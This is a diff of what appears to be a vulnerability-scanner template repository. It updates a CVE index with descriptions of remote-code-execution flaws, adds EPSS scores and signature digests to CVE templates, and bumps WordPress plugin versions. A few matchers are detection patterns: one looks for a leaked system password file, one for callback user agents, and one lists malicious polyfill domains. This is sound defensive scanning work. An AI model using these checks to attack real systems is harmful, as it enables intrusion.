 {"ID":"CVE-2004-2687","Info":{"Name":"Distccd v1 - Remote Code Execution","Severity":"high","Description":"distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"network/cves/2004/CVE-2004-2687.yaml"}
 {"ID":"CVE-2011-2523","Info":{"Name":"VSFTPD 2.3.4 - Backdoor Command Execution","Severity":"critical","Description":"VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2011/CVE-2011-2523.yaml"}
@@ -3120,6 +3165,7 @@
 {"ID":"CVE-2017-5645","Info":{"Name":"Apache Log4j Server - Deserialization Command Execution","Severity":"critical","Description":"In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2017/CVE-2017-5645.yaml"}
 {"ID":"CVE-2018-2628","Info":{"Name":"Oracle WebLogic Server Deserialization - Remote Code Execution","Severity":"critical","Description":"The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3 contains an easily exploitable vulnerability that allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2018/CVE-2018-2628.yaml"}
 {"ID":"CVE-2018-2893","Info":{"Name":"Oracle WebLogic Server - Remote Code Execution","Severity":"critical","Description":"The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3 contain an easily exploitable vulnerability that allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2018/CVE-2018-2893.yaml"}
+{"ID":"CVE-2019-5544","Info":{"Name":"VMware ESXi SLP - Heap Overflow DoS","Severity":"critical","Description":"OpenSLP as used in ESXi and the Horizon DaaS appliances has a heap overwrite issue. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2019/CVE-2019-5544.yaml"}
 {"ID":"CVE-2020-0796","Info":{"Name":"Microsoft SMBv3 - Remote Code Execution","Severity":"critical","Description":"A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability'.\n","Classification":{"CVSSScore":"10"}},"file_path":"network/cves/2020/CVE-2020-0796.yaml"}
 {"ID":"CVE-2020-11981","Info":{"Name":"Apache Airflow \u003c=1.10.10 - Command Injection","Severity":"critical","Description":"An issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2020/CVE-2020-11981.yaml"}
 {"ID":"CVE-2020-1938","Info":{"Name":"Ghostcat - Apache Tomcat - AJP File Read/Inclusion Vulnerability","Severity":"critical","Description":"When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2020/CVE-2020-1938.yaml"}

cves.json-checksum.txt

@@ -1 +1 @@
-707c432e3bcbd75c3ea29b5e2c389c0c
+29bb20ad5afe35177b8c8726b249e83d

dast/cves/2018/CVE-2018-19518.yaml

@@ -16,6 +16,8 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2018-19518
     cwe-id: CWE-88
+    epss-score: 0.93964
+    epss-percentile: 0.99875
   metadata:
     max-request: 1
     confidence: tenative
@@ -47,4 +49,4 @@ http:
         part: interactsh_request
         words:
           - "User-Agent: curl"
-# digest: 4b0a004830460221008543f7f2f49f049446873dd3c5bc4fb5a4a615e4633405b40698ddf599348551022100ea2a4180689633d4ed52d2be2b916ed056f3a39bdca0a8511dce2dfb572efe27:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f49d06537ed8ad00c2c83083d49e4676200bf096d2312f819280bbb90c7d7950022041ed93b924325ee5bec6087d2ad160b10fe25b492fc0cbcbd0bc5d52457548fe:922c64590222798bb761d5b6d8e72950

dast/cves/2021/CVE-2021-45046.yaml

@@ -16,10 +16,12 @@ info:
     cvss-score: 9
     cve-id: CVE-2021-45046
     cwe-id: CWE-502
+    epss-score: 0.94340
+    epss-percentile: 0.99946
   metadata:
     max-request: 1
     confidence: tenative
-  tags: cve,cve2021,rce,oast,log4j,injection,dast
+  tags: cve,cve2021,rce,oast,log4j,injection,dast,kev
 
 http:
   - pre-condition:
@@ -60,4 +62,4 @@ http:
         group: 1
         regex:
           - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a00483046022100ca8099b9b7303f2c34f8b7d2247e672dcdd92a64154deb9077154caea26f48500221009cd27f47753dc8386aee743ad51c6af60dbfad1a6cdf8c824e6cd21292b409f9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a8939bb9bc6ccb1b77d9f06e06ca0db8116d5c0b73361a660d9f9a7b3e104f20022100df3e7994cdfd47bb085887aab47b53e80f0fc32a8589e337462d83aa015db1c9:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-22965.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2022-22965
     cwe-id: CWE-94
-    epss-score: 0.97483
-    epss-percentile: 0.99971
+    epss-score: 0.94460
+    epss-percentile: 0.99992
     cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -55,4 +55,4 @@ http:
         words:
           - "User-Agent: Java"
         case-insensitive: true
-# digest: 4a0a00473045022100d3db8bbbe0510ee216ae27652bf3f525d711497be0e6081b59f614e469c9e0c60220241efddbb889520b5d9ab9461c2c38205bf09157df2bb490ff7b22635313159b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100915d17fb5a8d51b02db38fbe465d2de61ea80000397a7e86ebc49a4a9889412b022100820d081fc544c8aa867d04cfa1d0878008729d0459f08a166c459d7d16234099:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-34265.yaml

@@ -16,6 +16,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2022-34265
     cwe-id: CWE-89
+    epss-score: 0.92493
+    epss-percentile: 0.99731
   tags: sqli,dast,vulhub,cve,cve2022,django
 
 variables:
@@ -44,4 +46,4 @@ http:
       - type: status
         status:
           - 500
-# digest: 4a0a00473045022100f6bab24a5adea777e32c36b72485c0c608dbd991b9fb2c3fb4cdb52ad7fad6ae022076c4a91e8602b76617f44c2e3386f66d5e97a998ea4ea225a59fba922208f5c8:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220765d0b95605f033abc16dd45dbd789eab737ca6bd0c261eb914b8fcf1fc7f9e902202d55d0d730a667ad2683e84023cdea5e2896a20b863a8cf0a2865d081aaf575b:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-42889.yaml

@@ -18,6 +18,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2022-42889
     cwe-id: CWE-94
+    epss-score: 0.94161
+    epss-percentile: 0.99906
   metadata:
     max-request: 1
     confidence: tenative
@@ -66,4 +68,4 @@ http:
         group: 1
         regex:
           - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a00483046022100b4b0c092617fb0da67a9ba1daba6fb05e46310943778a0100e477801d9d43ebe0221009ccfccf8b16a26ec3f4150c837ef6ed7f3daa564fcfdb6ff5e60165b82bc9913:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200a540e28e8b29b0e815636f1bdf25ada03bef96b3a227f8db6984189302ef18f02200a3c13ec4b34fe4baf8cff6dec664f57ad70981271b2a7a601987ec1820de86d:922c64590222798bb761d5b6d8e72950

dast/cves/2024/CVE-2024-2961.yaml

@@ -18,8 +18,8 @@ info:
     cvss-score: 7.3
     cve-id: CVE-2024-2961
     cwe-id: CWE-787
-    epss-score: 0.00046
-    epss-percentile: 0.17937
+    epss-score: 0.91735
+    epss-percentile: 0.99668
   tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast
 
 flow: http(1) && http(2)
@@ -57,4 +57,4 @@ http:
       - type: regex
         regex:
           - "root:x:0:0"
-# digest: 4a0a00473045022005ac06f3907c82aa128062a389b80cc85af23809ac157a8bc32e9b33d24b0d0a022100cb8111c68f3945d3705e3633e48d3f5993f0222aeef990481d3b29e8c61e4929:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f5fcacc5989901a485f707e1e046c0bb430448747aa9d1753933a28c4d863e75022100bf1a25c7f01875384e8ce50fdb752faf2f3d5336ede7c0491f8f74852d678a7d:922c64590222798bb761d5b6d8e72950

dns/bimi-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=BIMI1(.+)"
-# digest: 4a0a00473045022054ea2995dedcce4cce31c27496f86b13955ca559d9e115fe76222ac64cc4621302210085481af2ecb00b994938c61f5fc950fd08803472e03648ba194640829db146bc:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204f94857f46d6eff7142da0f085d6083e89cc36740474fc0d88581a474d25a63602202cac40960773492a8f6a82b64013fac9e5db3803ab0ccd93cbe671d407b7d28c:922c64590222798bb761d5b6d8e72950

dns/fbi-seized-nameserver.yaml

@@ -35,4 +35,4 @@ dns:
         group: 1
         regex:
           - "IN\\tNS\\t(.+)"
-# digest: 4b0a00483046022100fbcff8f1b623f0e3447aa76e0b490f9121ca29aeeb51f1d29c8d8d975f94ba39022100c8c446adec58f2c573f0f34a58555f77dc5d8cfe402804268aa92e153d981363:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205872847e15f6c4de9a7489528345bc157c868db221aeecee3f0c492b8d54e093022043fbdcc6a94ab2b3371d60db1b28be630e8c6c70a5dc358379c3ed1a49e3b52d:922c64590222798bb761d5b6d8e72950

dns/soa-detect.yaml

@@ -81,4 +81,4 @@ dns:
         name: "edge-cast"
         words:
           - "edgecastdns.net"
-# digest: 4a0a00473045022100959a5dd7337d298c4966aa97031bdd934769ac61f8ac53ee93501a0180d186e6022042d6ee89b0e9da8cb771efa82fa86dc5a6897b405e59b26050b7d19bea303c5e:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207a5d1dc09fc0cc081cf534cad3ad2282e5f0f61c09cc4a3c03cc72827ae052d702206b7fd926868cd42ac1181c1c90bc306a3e738b06bba4bc36c8daa61b2de2d596:922c64590222798bb761d5b6d8e72950

dns/spf-record-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=spf1(.+)"
-# digest: 490a0046304402202689cb3ecdf3fb7f1991196610e0ddfb0ad6db7e40ae91ca63fdd012a8269f45022059caf7c9005fcedc7361e12cc2002fb09588e883b5e0ce2d74cd6ee271a54618:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207c33a488cc7168d7e1b02efab1b90f5cbbf25a3c1b2e12565d1798db7ef39d670220235db30ccffb6b5c5521633cff5da8718f01436a2e5d0d14ff6b82c4606eef68:922c64590222798bb761d5b6d8e72950

dns/txt-service-detect.yaml

@@ -218,4 +218,4 @@ dns:
         name: "whimsical"
         words:
           - "whimsical"
-# digest: 4a0a00473045022100d128ab17ee8d02b57c8a2f1c118775f6b70a347217e4db9b81c7ccca1aba0f93022029b717d888e8d7e3a761c0dc784c8518df862afb63e0e8c940e2a8d1061ecff7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204b083beeabed939e25d83909035f8e163903e84f4b0bc117be6efdfc5e7fdde6022100d3dca651f74eea983d548c4aac99d356f26dbbbe39b4c1cef4e39dc77c36abe5:922c64590222798bb761d5b6d8e72950

file/logs/aspnet-framework-exceptions.yaml

@@ -22,4 +22,4 @@ file:
           - 'InvalidOperationException'
           - 'UnauthorizedAccessException'
           - 'NotFound'
-# digest: 4a0a0047304502205a6f4bf294076b378a5bd3e65557c8ba155a7f0e9e76109fec0ec0e50e12d238022100e62246615353b646881ab54a982fb06dcb2cc6f8edc388df1fbd3ea7cf70973d:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201b1cd49c363414e43a7b69ffac5fa50b8be7e0be6432d822e25d230ead3ef8dc022078bd91960467187e8c3df8a4710681eab292dd436895ca8c03a6f8065fa3b7e7:922c64590222798bb761d5b6d8e72950

file/logs/nodejs-framework-exceptions.yaml

@@ -30,4 +30,4 @@ file:
           - 'BadRequestError'
           - 'MongoError'
           - 'SequelizeDatabaseError'
-# digest: 4b0a00483046022100adc26a7699b34f00e8ffd7d5c3ea4942936d68155b83dd1bc9c4bbabd7068dbd022100b7c61be76b3109175a1ae20d4ea5164e26cfcca6a8fd0ab1fcb60295df950685:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c34a3801ea196d62e751a4bc3e1d5103c8f39c941aa4e47819d1c74b266ec1090220680094a29970c5fd77f43bf0a43091666b384a8d7fe60438390ff4d1f9b1b740:922c64590222798bb761d5b6d8e72950

headless/cookie-consent-detection.yaml

@@ -31,4 +31,4 @@ headless:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502204dcc39405b045a1b9d8171ef6380077c0cf615813abc1f81f5faaebb15511bcc022100d83f548a895b0795b67ea05abe4e1f966d8b80a4d133dddb458731443bfeef2e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008181e4d7a49a3b951351023494b0d72ae16246c2e18d1da039d928ea16d62e320220496e091dd66f15f9466b89615aa0043bcbde638bbf4ba5febb57e8b791c11ba8:922c64590222798bb761d5b6d8e72950

headless/cves/2018/CVE-2018-25031.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 4.3
     cve-id: CVE-2018-25031
     cwe-id: CWE-20
-    epss-score: 0.00265
-    epss-percentile: 0.65516
+    epss-score: 0.81869
+    epss-percentile: 0.99147
     cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -54,4 +54,4 @@ headless:
         words:
           - "swagger"
         case-insensitive: true
-# digest: 4a0a004730450220562625cf9d0b39525c5dea0c5f836c056faf8eaf4af1167015f8ecd599dda471022100ff45c3d91cd24bcb60b6dc6b97ba00415f73dec7cec12a2290e62d0c4e289b8a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a2f7e5ac70597ad87663ef0c9ad4bee161a599d2e03938161ace1128046c9b20022046775d61a5e4cae1d9c124ef010c9e100dcf6f7b6b078485fc0fe735de5c59d6:922c64590222798bb761d5b6d8e72950

headless/cves/2022/CVE-2022-29455-headless.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 6.1
     cve-id: CVE-2022-29455
     cwe-id: CWE-79
-    epss-score: 0.0019
-    epss-percentile: 0.56534
+    epss-score: 0.69783
+    epss-percentile: 0.98579
     cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:*
   metadata:
     verified: true
@@ -52,4 +52,4 @@ headless:
         words:
           - "elementor"
         case-insensitive: true
-# digest: 490a004630440220602c65b98033eb217f85849d2f2f124d75439e00178c3544bdb4774eea850caf02203bb0d3421c9df657e3bc20ecded48468db5bc3cb91424bb28d5abc6ca6d3b7b6:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c2fd9fc4a0789a1c7b95d4c984fecbd1f75987a198917b15db7b62868a38a083022100a5eeeed98eceab08457e1389b8147321f4b7e66ffc77684f3a4ddcfa533defd7:922c64590222798bb761d5b6d8e72950

headless/cves/2024/CVE-2024-29882.yaml

@@ -14,8 +14,8 @@ info:
     cvss-score: 7.2
     cve-id: CVE-2024-29882
     cwe-id: CWE-79
-    epss-score: 0.00043
-    epss-percentile: 0.09568
+    epss-score: 0.02012
+    epss-percentile: 0.82957
   metadata:
     verified: true
     max-request: 1
@@ -46,4 +46,4 @@ headless:
           - "ConnectSRS</a>"
         condition: or
         case-insensitive: true
-# digest: 4a0a00473045022100910e5ce652f76d349702c7adc5d5b6b479e14b984978fa2f86a47498f11167d2022000daa49aed583b6da8b47060d9389e38c4d7046e2304d059377360d1d199f89e:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206cddf49edf926f4a2fc79e6bc3d44c28d92452607fab4a78c546667823eea63e022078814f733d0906b711afdbd5826bb664f3171ae8c38e5d175d567d52c877d89c:922c64590222798bb761d5b6d8e72950

headless/cves/2024/CVE-2024-38526.yaml

@@ -20,8 +20,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L
     cvss-score: 7.2
     cve-id: CVE-2024-38526
-    epss-score: 0.00045
-    epss-percentile: 0.16001
+    epss-score: 0.66721
+    epss-percentile: 0.98451
   tags: cve,cve2024,supply-chain,polyfill
 headless:
   - steps:
@@ -60,4 +60,4 @@ headless:
           - "union.macoms.la"
           - "newcrbpc.com"
         part: urls
-# digest: 4a0a00473045022100ab5c8f20bf119770c476bcf509788840cc4b8027283c225e8e9c77229e207bc5022011da301a71875b08f2ef2e11457cb76b757c8e53122e82b859b747db224ec683:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100db8ee4bad1a3f649738173744c0b13228813c8f6149eed8ce1b9428955372d7a0221009d6fdcfee495e43dc703fb4ae3f9b8928359673160b77f0da6b553db315ad3d0:922c64590222798bb761d5b6d8e72950

headless/cves/2025/CVE-2025-25062.yaml

@@ -16,8 +16,8 @@ info:
     cvss-score: 4.4
     cve-id: CVE-2025-25062
     cwe-id: CWE-79
-    epss-score: 0.04
-    epss-percentile: 11.4
+    epss-score: 0.38601
+    epss-percentile: 0.97094
     cpe: cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*
   metadata:
     max-request: 7
@@ -186,4 +186,4 @@ headless:
         dsl:
           - reflected_text_xss_type
           - reflected_text_xss_message
-# digest: 4a0a0047304502202a21d134e954969443587f1c8f07043ff530af431ecf2c68b90e6f73501d012802210087447ccb9fb5bd47c55c968e1bacdc968d0bdaa9f77b4f3f35aa412e751ed42f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a5afa1435b236d15615599536490803e61d1c57bd159c9b2a6d7c074e3204e3302207728ec9bdeffa792d62a6f7de273d13f778a88f935ffbeefb406321f35b0d011:922c64590222798bb761d5b6d8e72950

headless/cves/2025/CVE-2025-29927-HEADLESS.yaml

@@ -15,6 +15,8 @@ info:
     cvss-score: 9.1
     cve-id: CVE-2025-29927
     cwe-id: CWE-285
+    epss-score: 0.93584
+    epss-percentile: 0.99830
   metadata:
     vendor: vercel
     product: Next.js
@@ -53,4 +55,4 @@ headless:
           - "compare_versions(nextjs_version, '> 14.0.0', '< 14.2.25')"
           - "compare_versions(nextjs_version, '> 15.0.0', '< 15.2.3')"
         condition: or
-# digest: 4a0a00473045022100e7ef01315b5c9dff2e5567ad1421f5cf95ccaa62554a094e5faada3fe08261a10220611dab02751e9a58d17176f3632bd8a638191fc08abc6b7453a34abb9de3a5a0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ac16c24521b6360ac31bb606cdd5d22561a0167e15754eaaeec4787f65c638ba02206be9686219a9c2c21158e2e62acd2880dd2cbe0e89fba4180e1d9a9c1504d7c1:922c64590222798bb761d5b6d8e72950

helpers/wordpress/plugins/ad-inserter.txt

@@ -1 +1 @@
-2.8.3
+2.8.4

helpers/wordpress/plugins/admin-menu-editor.txt

@@ -1 +1 @@
-1.13.1
+1.14

helpers/wordpress/plugins/advanced-custom-fields.txt

@@ -1 +1 @@
-6.4.2
+6.4.3

helpers/wordpress/plugins/akismet.txt

@@ -1 +1 @@
-5.4
+5.5

helpers/wordpress/plugins/all-in-one-seo-pack.txt

@@ -1 +1 @@
-4.8.4.1
+4.8.5

helpers/wordpress/plugins/all-in-one-wp-migration.txt

@@ -1 +1 @@
-7.95
+7.97

helpers/wordpress/plugins/all-in-one-wp-security-and-firewall.txt

@@ -1 +1 @@
-5.4.1
+5.4.2

helpers/wordpress/plugins/antispam-bee.txt

@@ -1 +1 @@
-2.11.7
+2.11.8

helpers/wordpress/plugins/astra-sites.txt

@@ -1 +1 @@
-4.4.27
+4.4.32

helpers/wordpress/plugins/backuply.txt

@@ -1 +1 @@
-1.4.6
+1.4.7

helpers/wordpress/plugins/backwpup.txt

@@ -1 +1 @@
-5.2.3
+5.3.1

helpers/wordpress/plugins/better-wp-security.txt

@@ -1 +1 @@
-9.3.8
+9.3.10

helpers/wordpress/plugins/breeze.txt

@@ -1 +1 @@
-2.2.14
+2.2.16

helpers/wordpress/plugins/click-to-chat-for-whatsapp.txt

@@ -1 +1 @@
-4.24
+4.26

helpers/wordpress/plugins/contact-form-7-honeypot.txt

@@ -1 +1 @@
-2.1.7
+3.0.0

helpers/wordpress/plugins/cookie-notice.txt

@@ -1 +1 @@
-2.5.6
+2.5.7

helpers/wordpress/plugins/duplicator.txt

@@ -1 +1 @@
-1.5.12
+1.5.13

helpers/wordpress/plugins/elementor.txt

@@ -1 +1 @@
-3.29.2
+3.30.3

helpers/wordpress/plugins/elementskit-lite.txt

@@ -1 +1 @@
-3.5.4
+3.5.6

helpers/wordpress/plugins/essential-addons-for-elementor-lite.txt

@@ -1 +1 @@
-6.1.20
+6.2.1

helpers/wordpress/plugins/ewww-image-optimizer.txt

@@ -1 +1 @@
-8.1.4
+8.2.0

helpers/wordpress/plugins/extendify.txt

@@ -1 +1 @@
-1.19.5
+1.19.6

helpers/wordpress/plugins/flamingo.txt

@@ -1 +1 @@
-2.5
+2.6

helpers/wordpress/plugins/font-awesome.txt

@@ -1 +1 @@
-5.0.2
+5.1.0

helpers/wordpress/plugins/formidable.txt

@@ -1 +1 @@
-6.22
+6.22.3

helpers/wordpress/plugins/forminator.txt

@@ -1 +1 @@
-1.44.3
+1.45.1

helpers/wordpress/plugins/google-analytics-dashboard-for-wp.txt

@@ -1 +1 @@
-8.6.2
+8.7.1